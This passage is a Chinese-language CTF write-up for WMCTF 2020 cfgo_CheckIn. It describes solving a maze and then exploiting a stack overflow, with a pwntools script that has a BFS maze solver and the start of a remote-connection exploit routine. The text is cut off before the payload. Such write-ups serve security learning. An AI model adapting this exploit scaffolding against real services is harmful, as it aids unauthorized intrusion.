2020WMCTF cfgo_CheckIn题解

周六周日刚打了打，战队里一共出了两道题。分别是cfgo_CheckIn跟mengyedekending。我的话是一直在做cfgo_CheckIn，mengyedekending由战队里的whalien51冲出来的。我暂时没有复现。就先写下这个cfgo_CheckIn的wp
详细解释的话放到我的博客站上
不太明白的湿傅们可以去我的博客上看下具体实现

思路

编写破解迷宫算法，然后栈溢出就行了。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
import numpy as np
from collections import deque
import re
import os

context.arch = 'amd64'
elf = ELF('pwn2')
p = 0
MAX_VALUE = 0x7fffffff

class Point:

    def __init__(self, x=0, y=0):

        self.x = x

        self.y = y

 
flag_x=[]
flag_y=[]

def bfs(maze, begin, end):

    n, m = len(maze), len(maze[0])

    dist = [[MAX_VALUE for _ in range(m)] for _ in range(n)]

    pre = [[None for _ in range(m)] for _ in range(n)]   # 当前点的上一个点,用于输出路径轨迹

 

    dx = [1, 0, -1, 0] # 四个方位

    dy = [0, 1, 0, -1]

    sx, sy = begin.x, begin.y

    gx, gy = end.x, end.y

 

    dist[sx][sy] = 0

    queue = deque()

    queue.append(begin)

    while queue:

        curr = queue.popleft()

        find = False

        for i in range(4):

            nx, ny = curr.x + dx[i], curr.y + dy[i]

            if 0<=nx<n and 0<=ny<m and maze[nx][ny] != '#' and dist[nx][ny] == MAX_VALUE:

                dist[nx][ny] = dist[curr.x][curr.y] + 1

                pre[nx][ny] = curr

                queue.append(Point(nx, ny))

                if nx == gx and ny == gy:

                    find = True

                    break

        if find:

            break



    stack = []

    curr = end

    while True:

        stack.append(curr)

        if curr.x == begin.x and curr.y == begin.y:

            break

        prev = pre[curr.x][curr.y]

        curr = prev

    while stack:

        curr = stack.pop()
        flag_x.append(curr.x)
        flag_y.append(curr.y)

 

def pwn(ip,port,debug):
    global p
    if(debug == 1):
        p = process('./pwn2')

    else:
        p = remote(ip,port)
    for i in range(100):
        p.recvuntil("Now is level "+str(i+1)+'\n')
        source=p.recvlines(i+6)
        source='\n'.join(source)
        pattern = re.compile(r"\xf0\x9f..")
        result = pattern.findall(source)
        #print source
        #print result
        x=(source.find("\n"))/3
        y=source.count("\n")
        if source.find("\xf0\x9f\x98\x82")!=-1:
            orgin=(source.find("\xf0\x9f\x98\x82")-source[0:source.find("\xf0\x9f\x98\x82"